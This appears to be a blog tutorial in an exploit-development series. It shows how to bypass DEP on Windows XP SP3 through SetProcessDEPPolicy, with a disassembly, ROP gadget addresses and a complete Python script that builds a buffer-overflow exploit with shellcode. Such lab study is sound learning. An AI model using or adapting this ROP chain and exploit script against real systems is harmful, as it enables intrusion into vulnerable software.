Introduction This article is part of my series: From Bug To Exploit .
In the previous article , I mentioned six common methods to bypass DEP:
ZwSetInformationProcess
SetProcessDEPPolicy
VirtualProtect
WriteProcessMemory
VirtualAlloc & memcpy
HeapCreate & HeapAlloc & memcpy
In this article, I will introduce the second method: using the SetProcessDEPPolicy API.
SetProcessDEPPolicy According to the MSDN documentation , a process can disable DEP by passing 0 as the dwFlags parameter.
1 2 3 BOOL SetProcessDEPPolicy ( [in] DWORD dwFlags ) ;
Since it only has a single parameter, we can apply the technique from the previous article .
Preparation First, we can disassemble the SetProcessDEPPolicy API with WinDbg. The result is shown below:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 0:000> uf setprocessdeppolicy *** ERROR: Module load completed but symbols could not be loaded for image00400000 kernel32!SetProcessDEPPolicy: 7c863114 8bff mov edi,edi 7c863116 55 push ebp 7c863117 8bec mov ebp,esp 7c863119 8b4508 mov eax,dword ptr [ebp+8] 7c86311c a9fcffffff test eax,0FFFFFFFCh 7c863121 7407 je kernel32!SetProcessDEPPolicy+0x16 (7c86312a) kernel32!SetProcessDEPPolicy+0xf: 7c863123 680d0000c0 push 0C000000Dh 7c863128 eb3e jmp kernel32!SetProcessDEPPolicy+0x54 (7c863168) kernel32!SetProcessDEPPolicy+0x16: 7c86312a a801 test al,1 7c86312c 7414 je kernel32!SetProcessDEPPolicy+0x2e (7c863142) kernel32!SetProcessDEPPolicy+0x1a: 7c86312e a802 test al,2 7c863130 c7450809000000 mov dword ptr [ebp+8],9 7c863137 741a je kernel32!SetProcessDEPPolicy+0x3f (7c863153) kernel32!SetProcessDEPPolicy+0x25: 7c863139 c745080d000000 mov dword ptr [ebp+8],0Dh 7c863140 eb11 jmp kernel32!SetProcessDEPPolicy+0x3f (7c863153) kernel32!SetProcessDEPPolicy+0x2e: 7c863142 6a02 push 2 7c863144 59 pop ecx 7c863145 84c1 test cl,al 7c863147 7407 je kernel32!SetProcessDEPPolicy+0x3c (7c863150) kernel32!SetProcessDEPPolicy+0x35: 7c863149 68300000c0 push 0C0000030h 7c86314e eb18 jmp kernel32!SetProcessDEPPolicy+0x54 (7c863168) kernel32!SetProcessDEPPolicy+0x3c: 7c863150 894d08 mov dword ptr [ebp+8],ecx kernel32!SetProcessDEPPolicy+0x3f: 7c863153 6a04 push 4 7c863155 8d4508 lea eax,[ebp+8] 7c863158 50 push eax 7c863159 6a22 push 22h 7c86315b 6aff push 0FFFFFFFFh 7c86315d ff152812807c call dword ptr [kernel32!_imp__NtSetInformationProcess (7c801228)] 7c863163 85c0 test eax,eax 7c863165 7d0a jge kernel32!SetProcessDEPPolicy+0x5d (7c863171) kernel32!SetProcessDEPPolicy+0x53: 7c863167 50 push eax kernel32!SetProcessDEPPolicy+0x54: 7c863168 e8cc63faff call kernel32!BaseSetLastNTError (7c809539) 7c86316d 33c0 xor eax,eax 7c86316f eb03 jmp kernel32!SetProcessDEPPolicy+0x60 (7c863174) kernel32!SetProcessDEPPolicy+0x5d: 7c863171 33c0 xor eax,eax 7c863173 40 inc eax kernel32!SetProcessDEPPolicy+0x60: 7c863174 5d pop ebp 7c863175 c20400 ret 4
In my environment, the function is located at 7c863114 and ends with ret 4.
Similar to the previous article , we call the API directly. Therefore, we can arrange the exploit buffer as follows:
1 2 3 4 5 6 7 8 9 edi-0x30 : padding A edi-0x10 : SetProcessDEPPolicy edi-0x0c : padding B edi-0x04 : jmp esp edi : padding C, parameters of SetProcessDEPPolicy edi+0x04 : Shellcode A edi+0x09 : padding D, used for leading a buffer overflow edi+0x5c : rop, overwriting EIP edi+... : Shellcode B
Note: There is no standard answer for a ROP exploit chain.
Run the command below in Immunity Debugger to find all available gadgets:
Writing ROP Exploit Script We need to overwrite EIP with the first gadget of our ROP chain.
Let’s get started with rop1. We use EDI as a “pivot”, so we need to initialize it:
0x7eb9a880: # PUSH ESP # ADD BH,BH # DEC ECX # POP EAX # POP EBP # RETN 0x04 ** [ntdll.dll] ** | {PAGE_EXECUTE_READ}
0x7eb5de9d: SUB EAX,30 # POP EBP # RETN
0x7eb5de9d: SUB EAX,30 # POP EBP # RETN
0x7eb5b0e7: PUSH EAX # ADD AL,66 # MOV DWORD PTR DS:[EAX],1B00001 # POP EDI # POP ESI # POP EBP # RETN 0x08
We set the pivot EDI to an address that is 60 bytes away from ESP.
Next, we set the parameter in rop2. We need to put 0 in [EDI]:
0x7eb4dafd: # XOR ECX,ECX # RETN ** [ntdll.dll] ** | {PAGE_EXECUTE_READ}
0x77c34dc2: # MOV EAX,EDI # POP ESI # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
0x7eb82f36: # MOV DWORD PTR DS:[EAX],ECX # RETN ** [ntdll.dll] ** | {PAGE_EXECUTE_READ}
In rop3, we need to set ESP to [EDI-4], causing it to call the API.
0x77c3dbba: # MOV EAX,EDI # POP EDI # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
0x77c47844: # ADD EAX,-2 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
0x77c47844: # ADD EAX,-2 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
0x77c47844: # ADD EAX,-2 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
0x77c47844: # ADD EAX,-2 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
0x77c47844: # ADD EAX,-2 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
0x77c47844: # ADD EAX,-2 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
0x77c47844: # ADD EAX,-2 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
0x77c47844: # ADD EAX,-2 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
0x7eb9a9e3: # PUSH EAX # SUB AL,8B # DEC ECX # OR AL,1 # DEC EAX # POP ESP # POP EBP # RETN 0x08 ** [ntdll.dll] ** | {PAGE_EXECUTE_READ}
Therefore, the completed ROP exploit script can be implemented as follows:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 import structdef p32 (addr: int ) -> bytes : return struct.pack('<I' , addr)def read_shellcode () -> bytes : shellcode = b'' with open ('messagebox.bin' , 'rb' ) as f: shellcode = f.read() return shellcodedef sword_two () -> bytes : offset = 140 api = p32(0x7c863114 ) stack_pivot = p32(0x7c874f13 ) shellcode_A = b'\x89\xe0\x83\xc0\x7f\x83\xc0\x7f\x83\xc0\x7f\x83\xc0\x5f\xff\xe0' shellcode_B = read_shellcode() rop1 = b'' rop1 += p32(0x7eb9a880 ) rop1 += b'1111' rop1 += p32(0x7eb5de9d ) rop1 += b'1111' rop1 += b'1111' rop1 += p32(0x7eb5de9d ) rop1 += b'1111' rop1 += p32(0x7eb5b0e7 ) rop1 += b'1111' rop1 += b'1111' rop2 = b'' rop2 += p32(0x7eb4dafd ) rop2 += b'22222222' rop2 += p32(0x77c34dc2 ) rop2 += b'2222' rop2 += p32(0x7eb82f36 ) rop3 = b'' rop3 += p32(0x77c34dc2 ) rop3 += b'3333' rop3 += p32(0x77c47844 ) rop3 += b'3333' rop3 += p32(0x77c47844 ) rop3 += b'3333' rop3 += p32(0x77c47844 ) rop3 += b'3333' rop3 += p32(0x77c47844 ) rop3 += b'3333' rop3 += p32(0x77c47844 ) rop3 += b'3333' rop3 += p32(0x77c47844 ) rop3 += b'3333' rop3 += p32(0x77c47844 ) rop3 += b'3333' rop3 += p32(0x77c47844 ) rop3 += b'3333' rop3 += p32(0x77c47844 ) rop3 += b'3333' rop3 += p32(0x77c47844 ) rop3 += b'3333' rop3 += p32(0x77c47844 ) rop3 += b'3333' rop3 += p32(0x77c47844 ) rop3 += b'3333' rop3 += p32(0x77c47844 ) rop3 += b'3333' rop3 += p32(0x77c47844 ) rop3 += b'3333' rop3 += p32(0x77c47844 ) rop3 += b'3333' rop3 += p32(0x77c47844 ) rop3 += b'3333' rop3 += p32(0x77c47844 ) rop3 += b'3333' rop3 += p32(0x77c47844 ) rop3 += b'3333' rop3 += p32(0x77c47844 ) rop3 += b'3333' rop3 += p32(0x77c47844 ) rop3 += b'3333' rop3 += p32(0x77c47844 ) rop3 += b'3333' rop3 += p32(0x77c47844 ) rop3 += b'3333' rop3 += p32(0x77c47844 ) rop3 += b'3333' rop3 += p32(0x77c47844 ) rop3 += b'3333' rop3 += p32(0x7eb9a9e3 ) rop3 += b'3333' padding_A = b'A' * 4 padding_B = b'B' * 8 padding_C = b'C' * 4 padding_D = b'D' * (offset - (len (padding_B) + len (padding_C) + len (padding_A) + len (shellcode_A) + len (stack_pivot) + len (api))) exploit = b'' exploit += padding_A exploit += api exploit += padding_B exploit += stack_pivot exploit += padding_C exploit += shellcode_A exploit += padding_D exploit += rop1 exploit += rop2 exploit += rop3 exploit += b'\x90' * 400 exploit += shellcode_B return exploitdef main (): exploit = sword_two() with open ('exploit_dep.txt' , 'wb' ) as f: f.write(exploit) print ('[+] OK' )if __name__ == '__main__' : main()
Note that both Padding A and Padding D are junk data. We can use either one to cause the buffer overflow.
Here, I reused the Shellcode A from the previous article and used a number of NOP (\x90) instructions as a NOP sled. Of course, you can use only a few of them and calculate a more precise jump address for Shellcode A to reduce the size of the exploit buffer.
Finally, let’s try to exploit it in a Windows XP SP3 virtual machine!
Conclusion This article is similar to the previous article , but uses a different API.
Honestly, since I have gained some experience from the previous article , I spent only a short amount of time developing the complete exploit script.
In conclusion, I want to mention some practical issues that I have encountered so far.
If we are trying to initialize EDI, we should not use a gadget containing a POP EDI instruction. Otherwise, the ROP chain might be corrupted.
Both Padding A and Padding D can be treated as junk data. The most important point is that they are used to cause the buffer overflow.
There is no standard answer for a ROP exploit script. The main difference is stability.
Alright! This is the end of this article. In the next article, I will study the third method.
If you have any comments or suggestions, please feel free to leave them below!
THANKS FOR READING! I drew a new drawing !
Morning...